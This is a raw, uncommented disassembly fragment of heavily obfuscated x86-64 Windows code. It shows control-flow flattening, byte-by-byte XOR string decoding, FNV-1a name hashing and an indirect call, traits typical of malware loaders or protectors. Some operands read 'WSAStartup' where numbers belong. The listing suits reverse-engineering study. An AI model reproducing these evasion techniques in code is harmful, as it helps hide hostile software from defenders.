mov dword [rbp + 0x248], WSAStartup
mov edx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xf31fe6b
je 0x18006b025
cmp edx, 0x8e4f2f87
jne 0x18006b010
jmp 0x18006b0dc
mov edx, 0x8e4f2f87
jmp 0x18006b010
mov byte [rbp + 0x278], cl
mov cl, byte [rbp + 0x278]
mov byte [rax + 1], cl
mov edx, 0xc572c48
cmp edx, 0x6e0c2a1
je 0x18006b127
cmp edx, 0xc572c48
jne 0x18006b040
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006b072
cmp ecx, 0xb3ed82eb
jne 0x18006b060
jmp 0x18006b079
mov ecx, 0xb3ed82eb
jmp 0x18006b060
mov byte [rbp + 0x278], 1
mov cl, byte [rbp + 0x278]
add cl, 0x74
mov edx, 0x6e0c2a1
jmp 0x18006b040
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 6
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 7], bl
mov edx, 0xbf0a975f
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xbf0a975f
je 0x18006b0d5
cmp edx, 0x86611407
jne 0x18006b0c0
jmp 0x18006b190
mov edx, 0x86611407
jmp 0x18006b0c0
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop dword [rax + rax]
cmp ebx, 0xe1858133
je 0x18006b1d3
cmp ebx, 0x9ecf9227
jne 0x18006b100
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x18006b100
mov byte [rbp + 0x278], cl
mov cl, byte [rbp + 0x278]
mov byte [rax + 2], cl
mov edx, 0xc572c48
nop dword [rax + rax]
cmp edx, 0x6e0c2a1
je 0x18006b21c
cmp edx, 0xc572c48
jne 0x18006b140
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006b172
cmp ecx, 0xb3ed82eb
jne 0x18006b160
jmp 0x18006b179
mov ecx, 0xb3ed82eb
jmp 0x18006b160
mov byte [rbp + 0x278], 1
mov cl, byte [rbp + 0x278]
add cl, 0x54
mov edx, 0x6e0c2a1
jmp 0x18006b140
mov dword [rbp + 0x248], 0x53
mov dl, byte [rax]
mov byte [rbp + 0x260], dl
mov ebx, 0x1f14b4ef
nop word [rax + rax]
cmp ebx, 0x47d1636d
je 0x18006b280
cmp ebx, 0x1f14b4ef
jne 0x18006b1b0
movsx rdx, byte [rbp + 0x260]
mov ebx, 0x47d1636d
jmp 0x18006b1b0
mov byte [rbp + 0x260], dl
mov dl, byte [rbp + 0x260]
mov byte [rcx + 7], dl
mov dword [rbp + 0x248], 0x53
mov edx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xf31fe6b
je 0x18006b215
cmp edx, 0x8e4f2f87
jne 0x18006b200
jmp 0x18006b4bb
mov edx, 0x8e4f2f87
jmp 0x18006b200
mov byte [rbp + 0x278], cl
mov cl, byte [rbp + 0x278]
mov byte [rax + 3], cl
mov edx, 0xc572c48
cmp edx, 0x6e0c2a1
je 0x18006b507
cmp edx, 0xc572c48
jne 0x18006b230
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006b262
cmp ecx, 0xb3ed82eb
jne 0x18006b250
jmp 0x18006b269
mov ecx, 0xb3ed82eb
jmp 0x18006b250
mov byte [rbp + 0x278], 1
mov cl, byte [rbp + 0x278]
add cl, 0x65
mov edx, 0x6e0c2a1
jmp 0x18006b230
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 7
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 8], bl
add rcx, 9
mov qword [rbp + 0x250], rcx
mov byte [rbp + 0x234], 0x69
mov edx, 0x73f81e23
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x73f81e22
jg 0x18006b2e0
cmp edx, 0xce016c83
je 0x18006b319
cmp edx, 0x1d7023d5
jne 0x18006b2c0
jmp 0x18006b714
cmp edx, 0x7b93be0f
je 0x18006b336
cmp edx, 0x73f81e23
jne 0x18006b2c0
movsx edx, byte [rbp + 0x234]
mov ebx, 0xbf0a975f
nop dword [rax]
cmp ebx, 0xbf0a975f
je 0x18006b312
cmp ebx, 0x86611407
jne 0x18006b300
jmp 0x18006b35d
mov ebx, 0x86611407
jmp 0x18006b300
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x248]
mov edx, 0xce016c83
mov ebx, 0x1d7023d5
cmove edx, ebx
jmp 0x18006b2c0
mov rcx, qword [rbp + 0x260]
add rcx, 1
mov rdx, qword [rbp + 0x270]
add rdx, 0xd
mov qword [rbp + 0x248], rdx
mov edx, 0xce016c83
jmp 0x18006b2c0
mov dword [rbp + 0x268], edx
mov dl, byte [rax]
mov byte [rbp + 0x238], dl
mov ebx, 0x1f14b4ef
cmp ebx, 0x47d1636d
je 0x18006b38f
cmp ebx, 0x1f14b4ef
jne 0x18006b370
movsx rdx, byte [rbp + 0x238]
mov ebx, 0x47d1636d
jmp 0x18006b370
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 8
mov ebx, dword [rbp + 0x268]
xor bl, dl
mov rdx, qword [rbp + 0x250]
mov byte [rdx], bl
mov rdx, qword [rbp + 0x250]
mov ebx, 0xbf0a975f
nop dword [rax]
cmp ebx, 0xbf0a975f
je 0x18006b3d2
cmp ebx, 0x86611407
jne 0x18006b3c0
jmp 0x18006b3d9
mov ebx, 0x86611407
jmp 0x18006b3c0
mov dword [rbp + 0x268], 0x7a
mov bl, byte [rax]
mov byte [rbp + 0x238], bl
mov edi, 0x1f14b4ef
cmp edi, 0x47d1636d
je 0x18006b40f
cmp edi, 0x1f14b4ef
jne 0x18006b3f0
movsx rbx, byte [rbp + 0x238]
mov edi, 0x47d1636d
jmp 0x18006b3f0
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
add bl, 9
mov edi, dword [rbp + 0x268]
xor dil, bl
mov byte [rdx + 1], dil
add rdx, 2
mov qword [rbp + 0x260], rdx
mov edx, 0xbf0a975f
nop dword [rax]
cmp edx, 0xbf0a975f
je 0x18006b452
cmp edx, 0x86611407
jne 0x18006b440
jmp 0x18006b459
mov edx, 0x86611407
jmp 0x18006b440
mov dword [rbp + 0x268], 0x65
mov dl, byte [rax]
mov byte [rbp + 0x238], dl
mov ebx, 0x1f14b4ef
cmp ebx, 0x47d1636d
je 0x18006b48f
cmp ebx, 0x1f14b4ef
jne 0x18006b470
movsx rdx, byte [rbp + 0x238]
mov ebx, 0x47d1636d
jmp 0x18006b470
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 0xa
mov ebx, dword [rbp + 0x268]
xor bl, dl
mov rdx, qword [rbp + 0x260]
mov byte [rdx], bl
mov edx, 0x7b93be0f
jmp 0x18006b2c0
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop word [rax + rax]
cmp ebx, 0xe1858133
je 0x18006bce4
cmp ebx, 0x9ecf9227
jne 0x18006b4e0
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x18006b4e0
mov byte [rbp + 0x278], cl
mov cl, byte [rbp + 0x278]
mov byte [rax + 4], cl
add rax, 5
mov qword [rbp + 0x248], rax
mov eax, 0x7c0010f6
nop word cs:[rax + rax]
cmp eax, 0x99ab177e
je 0x18006bd29
cmp eax, 0x7c0010f6
jne 0x18006b530
mov ecx, 0xc572c48
jmp 0x18006b560
mov byte [rbp + 0x260], 1
mov al, byte [rbp + 0x260]
add al, 0x6d
mov ecx, 0x6e0c2a1
nop dword [rax]
cmp ecx, 0x6e0c2a1
je 0x18006b597
cmp ecx, 0xc572c48
jne 0x18006b560
mov eax, 0x35fd7b72
nop word cs:[rax + rax]
nop
cmp eax, 0x35fd7b72
je 0x18006b590
cmp eax, 0xb3ed82eb
jne 0x18006b580
jmp 0x18006b549
mov eax, 0xb3ed82eb
jmp 0x18006b580
mov byte [rbp + 0x260], al
mov al, byte [rbp + 0x260]
mov rcx, qword [rbp + 0x248]
mov byte [rcx], al
mov rax, qword [rbp + 0x248]
mov edx, 0xc572c48
jmp 0x18006b5d0
mov byte [rbp + 0x260], 1
mov cl, byte [rbp + 0x260]
add cl, 0x70
mov edx, 0x6e0c2a1
nop
cmp edx, 0x6e0c2a1
je 0x18006b609
cmp edx, 0xc572c48
jne 0x18006b5d0
mov ecx, 0x35fd7b72
nop word cs:[rax + rax]
nop
cmp ecx, 0x35fd7b72
je 0x18006b602
cmp ecx, 0xb3ed82eb
jne 0x18006b5f0
jmp 0x18006b5ba
mov ecx, 0xb3ed82eb
jmp 0x18006b5f0
mov byte [rbp + 0x260], cl
mov cl, byte [rbp + 0x260]
mov byte [rax + 1], cl
mov edx, 0xc572c48
jmp 0x18006b640
mov byte [rbp + 0x260], 1
mov cl, byte [rbp + 0x260]
add cl, 0x46
mov edx, 0x6e0c2a1
nop word cs:[rax + rax]
nop
cmp edx, 0x6e0c2a1
je 0x18006b679
cmp edx, 0xc572c48
jne 0x18006b640
mov ecx, 0x35fd7b72
nop word cs:[rax + rax]
nop
cmp ecx, 0x35fd7b72
je 0x18006b672
cmp ecx, 0xb3ed82eb
jne 0x18006b660
jmp 0x18006b61f
mov ecx, 0xb3ed82eb
jmp 0x18006b660
mov byte [rbp + 0x260], cl
mov cl, byte [rbp + 0x260]
mov byte [rax + 2], cl
mov edx, 0xc572c48
jmp 0x18006b6b0
mov byte [rbp + 0x260], 1
mov cl, byte [rbp + 0x260]
add cl, 0x69
mov edx, 0x6e0c2a1
nop word cs:[rax + rax]
nop
cmp edx, 0x6e0c2a1
je 0x18006b6e9
cmp edx, 0xc572c48
jne 0x18006b6b0
mov ecx, 0x35fd7b72
nop word cs:[rax + rax]
nop
cmp ecx, 0x35fd7b72
je 0x18006b6e2
cmp ecx, 0xb3ed82eb
jne 0x18006b6d0
jmp 0x18006b68f
mov ecx, 0xb3ed82eb
jmp 0x18006b6d0
mov byte [rbp + 0x260], cl
mov cl, byte [rbp + 0x260]
mov byte [rax + 3], cl
add rax, 4
mov qword [rbp + 0x278], rax
mov byte [rbp + 0x250], 0x6c
mov eax, 0x99ab177e
jmp 0x18006b530
mov rsi, qword [rbp + 0x138]
mov eax, 0x84f69554
jmp 0x18006b760
movzx edx, byte [rbp + 0x268]
mov r8, qword [rbp + 0x278]
sub rsp, 0x20
mov rcx, rsi
call fcn.18009a5c0
movabs r11, 0x100000001b3
add rsp, 0x20
mov rcx, qword [rbp + 0x248]
mov byte [rcx], al
mov eax, 0x5bd67834
nop dword [rax + rax]
cmp eax, 0xdbaa4c46
jle 0x18006b7a0
cmp eax, 0x5508f96f
jle 0x18006b7d0
cmp eax, 0x5508f970
je 0x18006b836
cmp eax, 0x5bd67834
jne 0x18006b899
mov eax, 0xd41e3b84
mov rdi, qword [rbp + 0x260]
jmp 0x18006b760
cmp eax, 0xbde5dc51
jg 0x18006b800
cmp eax, 0x84f69554
je 0x18006b852
cmp eax, 0xaf1542ee
jne 0x18006b760
mov eax, 0xd41e3b84
xor edi, edi
jmp 0x18006b760
cmp eax, 0xdbaa4c47
je 0x18006b722
cmp eax, 0x1578c690
jne 0x18006b760
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x250], rax
mov eax, 0x5c6d84a3
jmp 0x18006b760
cmp eax, 0xbde5dc52
je 0x18006b85c
cmp eax, 0xd41e3b84
jne 0x18006b760
mov qword [rbp + 0x278], rdi
mov rax, qword [rbp + 0x278]
cmp rax, 0xb
mov eax, 0x5508f970
mov ecx, 0xbde5dc52
cmovb eax, ecx
jmp 0x18006b760
mov qword [rbp + 0x270], rsi
mov rax, qword [rbp + 0x270]
mov byte [rax + 0xc], 0
mov eax, 0x1578c690
jmp 0x18006b760
mov eax, 0xaf1542ee
jmp 0x18006b760
mov rax, qword [rbp + 0x278]
add rax, 1
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
add rax, rsi
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, 0xdbaa4c47
jmp 0x18006b760
cmp eax, 0x5c6d84a3
jne 0x18006b760
mov r10, qword [rbp + 0x250]
add r10, 1
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov eax, 0x9302de66
cmovne r8d, eax
mov r9d, 0x7343bfbc
mov eax, 0x181b9de8
cmovne r9d, eax
mov edx, 0x28ad3f39
jmp 0x18006b940
mov eax, dword [rbp + 0x250]
mov rax, qword [rbp + 0x278]
mov rax, qword [rbp + 0x278]
mov rax, qword [rbp + 0x278]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
cmp edx, 0xfe90a09b
jle 0x18006b9b0
cmp edx, 0x333d8297
jle 0x18006ba00
cmp edx, 0x5cca55f4
jg 0x18006ba7a
cmp edx, 0x333d8298
je 0x18006bb3d
cmp edx, 0x33ec62ab
je 0x18006bb56
cmp edx, 0x42d422e5
jne 0x18006b940
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [r10 + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x18006b940
cmp edx, 0xc5fd57a7
jle 0x18006ba40
cmp edx, 0xeb000b68
jg 0x18006baaa
cmp edx, 0xc5fd57a8
je 0x18006bb66
cmp edx, 0xd1e81d16
je 0x18006bb74
cmp edx, 0xd597d4ff
jne 0x18006b940
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x18006b940
cmp edx, 0x12a1b9d7
jle 0x18006badc
cmp edx, 0x12a1b9d8
je 0x18006bb8d
cmp edx, 0x181b9de8
je 0x18006bb9c
cmp edx, 0x28ad3f39
jne 0x18006b940
mov edx, 0x73f80f82
jmp 0x18006b940
cmp edx, 0xb163ad29
jle 0x18006bb0e
cmp edx, 0xb163ad2a
je 0x18006bbcc
cmp edx, 0xb9d33223
je 0x18006bbf9
cmp edx, 0xbb6ed30e
jne 0x18006b940
mov edx, 0x12a1b9d8
jmp 0x18006b940
cmp edx, 0x5cca55f5
je 0x18006bc09
cmp edx, 0x7343bfbc
je 0x18006b8f2
cmp edx, 0x73f80f82
jne 0x18006b940
mov edx, 0x42d422e5
xor edi, edi
jmp 0x18006b940
cmp edx, 0xeb000b69
je 0x18006bc22
cmp edx, 0xfb306983
jne 0x18006bc97
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x18006b940
cmp edx, 0xfe90a09c
je 0x18006bc4d
cmp edx, 0x1dd0b01
jne 0x18006b940
mov eax, dword [rbp + 0x244]
cmp eax, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x18006b940
cmp edx, 0x87cbc1a8
je 0x18006bc7d
cmp edx, 0x9302de66
jne 0x18006b940
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x18006b940
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov eax, 0x5cca55f5
cmovne edx, eax
jmp 0x18006b940
mov edx, 0xc5fd57a8
mov ebx, dword [rbp + 0x234]
jmp 0x18006b940
mov dword [rbp + 0x250], ebx
mov edx, r9d
jmp 0x18006b940
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov eax, 0xfe90a09c
cmovne edx, eax
jmp 0x18006b940
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18006b940
movsxd rax, dword [rbp + 0x250]
xor rax, qword [rbp + 0x278]
imul rax, r11
mov qword [rbp + 0x248], rax
mov eax, dword [rbp + 0x270]
add eax, 1
mov dword [rbp + 0x238], eax
mov edx, r8d
jmp 0x18006b940
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov eax, dword [rbp + 0x270]
cmp eax, edx
mov edx, 0xf6d6bd87
mov eax, 0x87cbc1a8
cmovb edx, eax
jmp 0x18006b940
mov edx, 0xc5fd57a8
mov ebx, dword [rbp + 0x244]
jmp 0x18006b940
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x18006b940
mov rax, qword [rbp + 0x260]
movsx eax, byte [rax]
mov dword [rbp + 0x244], eax
mov eax, dword [rbp + 0x244]
cmp eax, 0x41
mov edx, 0xb9d33223
mov eax, 0x1dd0b01
cmovge edx, eax
jmp 0x18006b940
mov eax, dword [rbp + 0x244]
mov edx, eax
and edx, 0x72963832
or edx, 0x8d414380
and eax, 0x8d69c7ed
xor eax, edx
xor eax, 0x8d4143a0
mov dword [rbp + 0x234], eax
mov edx, 0x33ec62ab
jmp 0x18006b940
mov eax, dword [rbp + 0x270]
add rax, r10
mov qword [rbp + 0x260], rax
mov edx, 0xeb000b69
jmp 0x18006b940
cmp edx, 0xf6d6bd87
jne 0x18006b940
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x200]
sub rsp, 0x20
xor edx, edx
call rax
movabs r11, 0x100000001b3
add rsp, 0x20
mov dword [rbp + 0x21c], eax
mov eax, 0xffbe596d
jmp 0x18005ef80
mov byte [rbp + 0x260], dl
mov dl, byte [rbp + 0x260]
mov byte [rcx + 8], dl
mov dword [rbp + 0x248], 0x69
mov edx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf31fe6b
je 0x18006bd22
cmp edx, 0x8e4f2f87
jne 0x18006bd10
jmp 0x18006bd8f
mov edx, 0x8e4f2f87
jmp 0x18006bd10
mov al, byte [rbp + 0x250]
mov edx, 0xc572c48
nop word cs:[rax + rax]
nop
cmp edx, 0x6e0c2a1
je 0x18006bdd7
cmp edx, 0xc572c48
jne 0x18006bd40
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006bd72
cmp ecx, 0xb3ed82eb
jne 0x18006bd60
jmp 0x18006bd79
mov ecx, 0xb3ed82eb
jmp 0x18006bd60
mov byte [rbp + 0x260], 1
mov cl, byte [rbp + 0x260]
add cl, al
mov edx, 0x6e0c2a1
jmp 0x18006bd40
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop dword [rax + rax]
cmp ebx, 0xe1858133
je 0x18006be50
cmp ebx, 0x9ecf9227
jne 0x18006bdb0
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x18006bdb0
mov byte [rbp + 0x260], cl
mov al, byte [rbp + 0x260]
mov rcx, qword [rbp + 0x278]
mov byte [rcx], al
mov rax, qword [rbp + 0x278]
mov edx, 0xc572c48
nop dword [rax + rax]
cmp edx, 0x6e0c2a1
je 0x18006c472
cmp edx, 0xc572c48
jne 0x18006be00
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006be32
cmp ecx, 0xb3ed82eb
jne 0x18006be20
jmp 0x18006be39
mov ecx, 0xb3ed82eb
jmp 0x18006be20
mov byte [rbp + 0x260], 1
mov cl, byte [rbp + 0x260]
add cl, 0x65
mov edx, 0x6e0c2a1
jmp 0x18006be00
mov byte [rbp + 0x260], dl
mov dl, byte [rbp + 0x260]
mov byte [rcx + 9], dl
add rcx, 0xa
mov qword [rbp + 0x250], rcx
mov byte [rbp + 0x234], WSAStartup
mov edx, 0xf9510203
nop word cs:[rax + rax]
cmp edx, 0xf9510202
jg 0x18006bea0
cmp edx, 0xbf5c4d37
je 0x18006bee9
cmp edx, 0xc6364f0a
jne 0x18006be80
jmp 0x18006c4e0
cmp edx, 0x2324e1
je 0x18006bf09
cmp edx, 0xf9510203
jne 0x18006be80
movsx edx, byte [rbp + 0x234]
mov dword [rbp + 0x268], edx
mov edx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf31fe6b
je 0x18006bee2
cmp edx, 0x8e4f2f87
jne 0x18006bed0
jmp 0x18006bf39
mov edx, 0x8e4f2f87
jmp 0x18006bed0
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x248]
mov edx, 0xbf5c4d37
mov ebx, 0xc6364f0a
cmove edx, ebx
jmp 0x18006be80
mov rcx, qword [rbp + 0x260]
mov dword [rbp + 0x268], 0x65
mov edx, 0xf31fe6b
nop
cmp edx, 0xf31fe6b
je 0x18006bf32
cmp edx, 0x8e4f2f87
jne 0x18006bf20
jmp 0x18006bf83
mov edx, 0x8e4f2f87
jmp 0x18006bf20
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop word cs:[rax + rax]
nop
cmp ebx, 0xe1858133
je 0x18006bfc3
cmp ebx, 0x9ecf9227
jne 0x18006bf60
mov edx, dword [rbp + 0x268]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x18006bf60
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop
cmp ebx, 0xe1858133
je 0x18006c009
cmp ebx, 0x9ecf9227
jne 0x18006bfa0
mov edx, dword [rbp + 0x268]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x18006bfa0
mov byte [rbp + 0x238], dl
mov dl, byte [rbp + 0x238]
mov rbx, qword [rbp + 0x250]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x250]
mov dword [rbp + 0x268], 0x67
mov ebx, 0xf31fe6b
nop
cmp ebx, 0xf31fe6b
je 0x18006c002
cmp ebx, 0x8e4f2f87
jne 0x18006bff0
jmp 0x18006c049
mov ebx, 0x8e4f2f87
jmp 0x18006bff0
mov byte [rbp + 0x238], dl
mov dl, byte [rbp + 0x238]
mov byte [rcx + 1], dl
mov dword [rbp + 0x268], 0x63
mov edx, 0xf31fe6b
nop word [rax + rax]
cmp edx, 0xf31fe6b
je 0x18006c042
cmp edx, 0x8e4f2f87
jne 0x18006c030
jmp 0x18006c093
mov edx, 0x8e4f2f87
jmp 0x18006c030
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x278], ebx
mov edi, 0x9ecf9227
nop word cs:[rax + rax]
nop
cmp edi, 0xe1858133
je 0x18006c0d3
cmp edi, 0x9ecf9227
jne 0x18006c070
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov edi, 0xe1858133
jmp 0x18006c070
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop
cmp ebx, 0xe1858133
je 0x18006c119
cmp ebx, 0x9ecf9227
jne 0x18006c0b0
mov edx, dword [rbp + 0x268]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x18006c0b0
mov byte [rbp + 0x238], bl
mov bl, byte [rbp + 0x238]
mov byte [rdx + 1], bl
mov dword [rbp + 0x268], WSAStartup
mov ebx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xf31fe6b
je 0x18006c112
cmp ebx, 0x8e4f2f87
jne 0x18006c100
jmp 0x18006c159
mov ebx, 0x8e4f2f87
jmp 0x18006c100
mov byte [rbp + 0x238], dl
mov dl, byte [rbp + 0x238]
mov byte [rcx + 2], dl
mov dword [rbp + 0x268], 0x74
mov edx, 0xf31fe6b
nop word [rax + rax]
cmp edx, 0xf31fe6b
je 0x18006c152
cmp edx, 0x8e4f2f87
jne 0x18006c140
jmp 0x18006c1a3
mov edx, 0x8e4f2f87
jmp 0x18006c140
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x278], ebx
mov edi, 0x9ecf9227
nop word cs:[rax + rax]
nop
cmp edi, 0xe1858133
je 0x18006c1e3
cmp edi, 0x9ecf9227
jne 0x18006c180
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov edi, 0xe1858133
jmp 0x18006c180
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop
cmp ebx, 0xe1858133
je 0x18006c229
cmp ebx, 0x9ecf9227
jne 0x18006c1c0
mov edx, dword [rbp + 0x268]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x18006c1c0
mov byte [rbp + 0x238], bl
mov bl, byte [rbp + 0x238]
mov byte [rdx + 2], bl
mov dword [rbp + 0x268], 0x65
mov ebx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xf31fe6b
je 0x18006c222
cmp ebx, 0x8e4f2f87
jne 0x18006c210
jmp 0x18006c258
mov ebx, 0x8e4f2f87
jmp 0x18006c210
mov byte [rbp + 0x238], dl
mov dl, byte [rbp + 0x238]
mov byte [rcx + 3], dl
add rcx, 4
mov rdx, qword [rbp + 0x270]
add rdx, 0x15
mov qword [rbp + 0x248], rdx
mov edx, 0xbf5c4d37
jmp 0x18006be80
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x278], ebx
mov edi, 0x9ecf9227
nop word cs:[rax + rax]
nop
cmp edi, 0xe1858133
je 0x18006c2a3
cmp edi, 0x9ecf9227
jne 0x18006c280
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov edi, 0xe1858133
jmp 0x18006c280
mov byte [rbp + 0x238], bl
mov bl, byte [rbp + 0x238]
mov byte [rdx + 3], bl
mov dword [rbp + 0x268], 0x4f
mov ebx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xf31fe6b
je 0x18006c2e2
cmp ebx, 0x8e4f2f87
jne 0x18006c2d0
jmp 0x18006c2e9
mov ebx, 0x8e4f2f87
jmp 0x18006c2d0
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x278], ebx
mov edi, 0x9ecf9227
nop word cs:[rax + rax]
nop
cmp edi, 0xe1858133
je 0x18006c333
cmp edi, 0x9ecf9227
jne 0x18006c310
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov edi, 0xe1858133
jmp 0x18006c310
mov byte [rbp + 0x238], bl
mov bl, byte [rbp + 0x238]
mov byte [rdx + 4], bl
mov dword [rbp + 0x268], 0x62
mov ebx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xf31fe6b
je 0x18006c372
cmp ebx, 0x8e4f2f87
jne 0x18006c360
jmp 0x18006c379
mov ebx, 0x8e4f2f87
jmp 0x18006c360
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x278], ebx
mov edi, 0x9ecf9227
nop word cs:[rax + rax]
nop
cmp edi, 0xe1858133
je 0x18006c3c3
cmp edi, 0x9ecf9227
jne 0x18006c3a0
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov edi, 0xe1858133
jmp 0x18006c3a0
mov byte [rbp + 0x238], bl
mov bl, byte [rbp + 0x238]
mov byte [rdx + 5], bl
add rdx, 6
mov qword [rbp + 0x260], rdx
mov dword [rbp + 0x268], WSAStartup
mov edx, 0xf31fe6b
nop dword [rax]
cmp edx, 0xf31fe6b
je 0x18006c402
cmp edx, 0x8e4f2f87
jne 0x18006c3f0
jmp 0x18006c409
mov edx, 0x8e4f2f87
jmp 0x18006c3f0
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop word cs:[rax + rax]
nop
cmp ebx, 0xe1858133
je 0x18006c453
cmp ebx, 0x9ecf9227
jne 0x18006c430
mov edx, dword [rbp + 0x268]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x18006c430
mov byte [rbp + 0x238], dl
mov dl, byte [rbp + 0x238]
mov rbx, qword [rbp + 0x260]
mov byte [rbx], dl
mov edx, 0x2324e1
jmp 0x18006be80
mov byte [rbp + 0x260], cl
mov cl, byte [rbp + 0x260]
mov byte [rax + 1], cl
mov edx, 0xc572c48
nop word cs:[rax + rax]
cmp edx, 0x6e0c2a1
je 0x18006c979
cmp edx, 0xc572c48
jne 0x18006c490
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
